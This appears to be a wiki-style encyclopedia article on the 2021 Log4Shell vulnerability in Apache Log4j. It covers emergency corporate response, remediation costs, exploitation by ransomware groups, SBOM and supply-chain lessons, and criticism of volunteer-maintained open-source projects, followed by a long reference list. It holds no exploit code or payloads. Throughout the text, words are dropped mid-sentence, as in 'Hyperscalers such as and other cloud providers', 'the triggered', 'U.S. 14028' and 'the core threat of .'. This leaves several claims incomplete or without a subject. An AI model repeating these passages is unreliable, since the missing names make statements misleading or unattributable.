The disclosure of Log4Shell on December 9, 2021, triggered urgent operational scrambles across major corporations, including companies, as security teams worked through the subsequent weekend to scan environments and deploy mitigations against the remote code execution in Apache Log4j. Hyperscalers such as and other cloud providers issued emergency patches and advisories within days, diverting engineering resources from routine operations to prioritize hunting in Java-based applications ubiquitous in enterprise stacks. Remediation efforts imposed significant financial burdens, with average incident response costs for Log4Shell compromises exceeding $90,000 per event, often involving ransomware exploitation by groups like LockBit and Conti. Global damages were estimated in the hundreds of millions of dollars, encompassing scanning tools, overtime labor, and temporary workarounds like Web Application Firewalls, while security teams logged hundreds of thousands of overtime hours amid widespread burnout risks. Many organizations suspended non-critical projects for 2-3 weeks to focus solely on Log4j inventories, exacerbating short-term productivity losses in sectors reliant on affected software. Supply chain effects amplified disruptions, as enterprises struggled to verify Log4j usage in third-party components and SaaS platforms, where vendor self-assessments proved unreliable and delayed coordinated updates. This led to cascading delays for clients dependent on SaaS providers, who faced extended vulnerability exposure windows during patch validation and propagation across ecosystems. In response, the acute competitive pressures prompted faster-than-typical vendor fixes, with market incentives driving proactive disclosures and remediations that outpaced the timelines often seen in regulation-dependent scenarios.

Broader Impacts and Analysis

Immediate Security and Economic Consequences

Following its public disclosure on December 9, 2021, the Log4Shell vulnerability (CVE-2021-44228) prompted immediate and widespread exploitation attempts by threat actors seeking to identify and compromise vulnerable Apache Log4j instances. By December 10, 2021, cybersecurity firms reported active scanning and opportunistic attacks, including HTTP requests embedding malicious JNDI lookups in headers like User-Agent and Referer fields. Palo Alto Networks' Unit 42 observed over 125 million hits indicative of Log4Shell-related activity from December 10, 2021, through early 2022, with a peak spike between December 12 and 16 dominated by mass reconnaissance scans rather than confirmed payloads. The U.S. Federal Bureau of Investigation noted similar scanning campaigns aimed at deploying cryptominers and other malware, though successful remote code executions remained rare in the initial days due to the Apache Software Foundation's rapid release of patch version 2.15.0 on December 9 and subsequent community-driven mitigations like configuration changes. By mid-December, ransomware operators such as Conti had incorporated Log4Shell into their toolkits, but public reports of large-scale breaches were minimal, with most incidents contained through urgent patching and monitoring. Economically, the triggered a global remediation frenzy, with organizations expending resources on vulnerability scanning, code audits, and dependency updates across millions of Java-based applications. and IDC estimated the total short-term costs, including emergency responses and assessments, at over $2 billion worldwide. Per-incident remediation averaged more than $90,000, factoring in labor for identifying affected systems and deploying workarounds, though these figures were mitigated by the open-source community's swift coordination. Secondary risks included privacy exposures from logged exploit strings, which could inadvertently record attacker-controlled domains or system details during JNDI resolution attempts, but these were subordinate to the core threat of .

Long-Term Lessons on Supply Chain Security

The Log4Shell vulnerability exposed pervasive "dependency blindness" in software ecosystems, where transitive dependencies in open-source libraries like Apache Log4j often go untracked, amplifying risks across millions of applications. This incident prompted a push for mandatory Software Bills of Materials (SBOMs) to provide verifiable inventories of components, enabling rapid vulnerability mapping; U.S. 14028 accelerated SBOM requirements for federal suppliers, yet 2024 analyses reveal uneven adoption, with only partial implementation in many enterprises despite heightened awareness. Sonatype's 2024 report on over 7 million open-source projects notes improved automated scanning tools but persistent gaps in SBOM generation and sharing, leaving 90% of software—dominated by open-source elements—vulnerable to unmonitored risks like malicious package insertions, which rose 156% year-over-year. Sustaining open-source security demands targeted funding for maintainer resources, including security audits and rapid patching, without layering on regulatory bloat that could stifle innovation; Log4j's understaffed project exemplified how volunteer-driven efforts falter under scale, contributing to the flaw's evasion of pre-release detection. Post-incident reviews, such as the U.S. Cybersecurity and Infrastructure Security Agency's board analysis, advocate streamlined incentives like corporate sponsorships or government grants focused on core hygiene practices over expansive oversight. Layered runtime defenses, including Web Application Firewalls (WAFs) and , emerged as essential complements to patching, intercepting Log4Shell exploits via behavioral analysis even in legacy deployments. These tools blocked remote code execution attempts by validating inputs at execution time, reducing reliance on perfect upstream fixes; empirical data from the event showed WAF rules mitigating attacks across cloud providers, underscoring their role in causal resilience against zero-day supply chain threats.

Criticisms of Open-Source Practices

The JNDI lookup feature enabling was introduced in Apache version 2.0-beta9 in 2013 via issue LOG4J2-313, yet risks of remote code execution through dynamic resolution were not prioritized amid volunteer-driven development lacking rigorous, ongoing audits. In open-source projects like , maintained primarily by unpaid contributors, testing often focuses on functionality over exhaustive , allowing latent flaws to persist for years without detection or mitigation. Transitive dependencies exacerbated supply chain opacity, as Log4j's integration into countless applications via indirect library chains evaded developer scrutiny, permitting unchecked propagation of unvetted code across ecosystems. This reliance on opaque, volunteer-maintained libraries critiques the absence of mandatory provenance verification, where organizations inherit risks without visibility into upstream security practices. While Apache's swift release of patches following the December 9, 2021 disclosure—upgrading to version 2.15.0 within hours—limited some exploitation, the episode reveals systemic underfunding in open-source , fostering maintainer burnout and deferred hardening that national infrastructures cannot sustainably tolerate. Critics contend this model incentivizes minimal viable contributions over resilient design, though it avoids attributing fault to downstream users navigating inherited complexities.

References

  1. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  2. https://logging.apache.org/log4j/2.x/security.html
  3. https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
  4. https://www.trellix.com/blogs/research/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/
  5. https://www.cyber.nj.gov/threat-landscape/vulnerabilities/apache-log4j-vulnerability-guidance
  6. https://www.dynatrace.com/news/blog/what-is-log4shell/
  7. https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
  8. https://www.datadoghq.com/blog/log4j-log4shell-vulnerability-overview-and-remediation/
  9. https://www.automox.com/blog/log4j-vulnerability-timeline
  10. https://nvd.nist.gov/vuln/detail/CVE-2021-45046
  11. https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
  12. https://www.ibm.com/think/topics/log4j
  13. https://logging.apache.org/log4j/2.x/release-notes.html
  14. https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance
  15. https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j
  16. https://www.sysdig.com/blog/exploit-detect-mitigate-log4j-cve
  17. https://qwiet.ai/log4shell-jndi-injection-via-attackable-log4j/
  18. https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
  19. https://cloud.google.com/blog/topics/threat-intelligence/log4shell-recommendations/
  20. https://horizon3.ai/attack-research/attack-blogs/the-long-tail-of-log4shell-exploitation/
  21. https://hurricanelabs.com/blog/log4j-letting-the-jndi-out-of-the-bottle/
  22. https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-44228/
  23. https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf
  24. https://blog.deps.dev/log4j/
  25. https://www.wiz.io/blog/10-days-later-enterprises-halfway-through-patching-log4shell
  26. https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
  27. https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition
  28. https://techcrunch.com/2021/12/10/apple-icloud-twitter-and-minecraft-vulnerable-to-ubiquitous-zero-day-exploit/
  29. https://aws.amazon.com/security/security-bulletins/AWS-2021-006/
  30. https://www.ibm.com/support/pages/psirt-news-update-apache-log4j-2x-vulnerabilities
  31. https://www.ibm.com/support/pages/security-bulletin-multiple-vulnerabilities-apache-log4j-affect-ibm-application-performance-management-products
  32. https://www.oracle.com/security-alerts/alert-cve-2021-44228.html
  33. https://www.greynoise.io/blog/trending-internet-scanning-on-apache-log4j-vulnerability
  34. https://www.thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html
  35. https://www.shadowserver.org/news/log4j-scanning-and-cve-2021-44228-exploitation-latest-observations-2021-12-16/
  36. https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild
  37. https://www.fortiguard.com/threat-signal-report/4346/mirai-malware-that-allegedly-propagates-using-log4shell-spotted-in-the-wild
  38. https://www.computerweekly.com/news/252514376/Chinas-APT41-exploited-Log4j-within-hours
  39. https://blog.checkpoint.com/security/the-numbers-behind-a-cyber-pandemic-detailed-dive/
  40. https://cyberscoop.com/iranian-hackers-log4shell-crypto/
  41. https://thehackernews.com/2022/01/iranian-hackers-exploit-log4j.html
  42. https://therecord.media/microsoft-nation-state-iranian-hackers-exploit-log4shell-against-israel
  43. https://www.scworld.com/news/chinese-iranian-threat-groups-said-to-exploit-log4j
  44. https://thecyberwire.com/newsletters/week-that-was/5/49
  45. https://flashpoint.io/blog/log4j-chatter/
  46. https://www.infosecinstitute.com/resources/vulnerabilities/how-criminals-are-taking-advantage-of-log4shell-vulnerability/
  47. https://www.contrastsecurity.com/security-influencers/log4shell-vulnerability-log4j-still-being-exploited-contrast-security-adr
  48. https://www.sonatype.com/state-of-the-software-supply-chain/2024/10-year-look
  49. https://www.scworld.com/news/vulnerable-instances-of-log4j-still-being-used-nearly-3-years-later
  50. https://devops.com/survey-surfaces-uneven-adoption-of-sboms-to-secure-software/
  51. https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-317a
  52. https://securitylabs.datadoghq.com/articles/the-gift-that-keeps-on-giving-a-new-opportunistic-log4j-campaign/
  53. https://lists.apache.org/thread/gzj2jsglvsffzs8zormxyly0vofdxp6j
  54. https://www.secureworks.com/blog/log4j-vulnerability-faqs
  55. https://access.redhat.com/security/vulnerabilities/RHSB-2021-009
  56. https://www.crowdstrike.com/en-us/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/
  57. https://www.blackfog.com/log4shell-understanding-the-vulnerability-and-mitigation-steps/
  58. https://www.ijisae.org/index.php/IJISAE/article/download/7024/5951/12273
  59. https://kudelskisecurity.com/research/log4shell-critical-severity-apache-log4j-remote-code-execution-being-actively-exploited
  60. https://purplesec.us/learn/fix-log4j-vulnerability/
  61. https://www.kusari.dev/blog/the-hidden-risk-in-your-software-managing-transitive-dependencies
  62. https://blog.codacy.com/transitive-dependencies-in-supply-chain-security
  63. https://www.crowdstrike.com/en-us/cybersecurity-101/exposure-management/log4j-vulnerability/
  64. https://www.reversinglabs.com/blog/log4j-is-why-you-need-an-sbom
  65. https://owasp.org/www-project-dependency-check/
  66. https://www.jit.io/resources/app-security/a-developers-guide-to-dependency-mapping
  67. https://www.raphael.li/blog/2025/04/handling-vulnerable-transitive-dependencies-gradle/
  68. https://www.sonatype.com/blog/protecting-your-development-environment-lessons-from-log4j-and-beyond
  69. https://www.blackduck.com/blog/cyrc-report-log4shell.html
  70. https://aws.amazon.com/security/security-bulletins/AWS-2021-005/
  71. https://www.fortinet.com/blog/threat-research/critical-apache-log4j-log4shell-vulnerability-what-you-need-to-know
  72. https://www.securitysolutionsmedia.com/2023/12/18/beware-the-lasting-legacy-of-log4j/
  73. https://www.datacenterknowledge.com/open-source-software/log4shell-vulnerability-highlights-software-supply-chain-issues
  74. https://www.ftc.gov/policy/advocacy-research/tech-at-ftc/2022/01/ftc-warns-companies-remediate-log4j-security-vulnerability
  75. https://www.ncsc.gov.uk/news/apache-log4j-vulnerability
  76. https://www.cyber.gc.ca/en/news-events/joint-cybersecurity-advisory-mitigating-log4shell-and-other-log4j-related-vulnerabilities
  77. https://www.csoonline.com/article/1265243/cloudflare-report-log4j-remains-top-target-for-attacks-in-2023.html
  78. https://lightstream.io/millions-of-log4j-vulnerable-systems-still-unpatched/
  79. https://www.wired.com/story/log4j-log4shell/
  80. https://www.rcrwireless.com/20211213/telco-cloud/hyperscalers-scramble-to-fix-apache-log4j-2-exploit
  81. https://socradar.io/4-lessons-learned-from-log4shell/
  82. https://brightsec.com/blog/post-mortem-on-log4j/
  83. https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/
  84. https://www.scworld.com/feature/digging-into-the-numbers-one-year-after-log4shell
  85. https://iaeme.com/MasterAdmin/Journal_uploads/IJCET/VOLUME_16_ISSUE_3/IJCET_16_03_032.pdf
  86. https://www.dynatrace.com/news/blog/mitigating-security-vulnerabilities-moves-front-and-center-in-modern-observability-strategies/
  87. https://www.cisa.gov/sbom
  88. https://www.sonatype.com/state-of-the-software-supply-chain/introduction
  89. https://www.sonatype.com/hubfs/SSCR-2024/SSCR_2024-FINAL-10-10-24.pdf
  90. https://github.blog/open-source/inside-the-breach-that-broke-the-internet-the-untold-story-of-log4shell/
  91. https://www.darkreading.com/application-security/log4shell-makes-the-case-for-runtime-application-self-protection
  92. https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
  93. https://www.technologyreview.com/2021/12/17/1042692/log4j-internet-open-source-hacking/
  94. https://www.bitsight.com/blog/log4j-vulnerability-log4shell-ongoing-challenges-remediation
  95. https://jfrog.com/blog/a-log4j-log4shell-vulnerability-qa/
  96. https://www.mitre.org/sites/default/files/2022-03/pr-22-0797-log4shell-and-endemic-vulnerabilities-in-open-source-libraries.pdf
  97. https://www.cybersecuritydive.com/news/log4j-open-source-vulnerability/611784/
  98. https://www.asisonline.org/security-management-magazine/monthly-issues/security-technology/archive/2022/october/Key-Learnings-from-Log4Shell/
Add your contribution
Related Hubs
Contribute something
User Avatar
No comments yet.